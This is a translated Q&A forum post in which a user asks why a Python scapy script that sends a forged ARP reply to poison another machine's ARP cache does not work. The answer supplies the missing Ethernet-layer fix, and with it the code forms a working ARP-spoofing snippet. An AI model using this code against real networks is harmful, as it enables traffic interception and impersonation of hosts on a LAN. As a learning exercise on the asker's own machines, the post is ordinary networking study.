我正在尝试使用python3版本的scapy在我的其他计算机上进行简单的arp缓存中毒以进行学习。我正在使用的代码如下:
from scapy.all import *
arp = ARP()
arp.op = 2
arp.psrc = '192.168.0.15' #computer I want to impersonate
arp.pdst = '192.168.0.5' #computer I want to send arp packet too
arp.hwsrc = 'ac:bc:32:c6:49:20' #my mac
arp.hwdst = 'ac:bc:32:c6:12:90' #mac of computer I want to poison
sendp(arp,iface = 'en0')
运行此程序时,我得到以下输出:
WARNING: Could not load module netifaces: No module named 'netifaces'
.
Sent 1 packets.
我没有用sudo运行这个程序,我确信en0是正确的接口。但是,当我在ip = 192.168.0.5 的计算机上运行tshark时,我发送的arp数据包不会出现。有人可以告诉我我犯了什么错误导致数据包无法到达目标机器。
答案 0 :(得分:0)
我认为你还需要定义以太层。您可以尝试将arp = ARP()
更改为arp = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP()
吗?将dst设置为:ff:ff:ff:ff:ff表示广播意味着它将被发送到所有主机。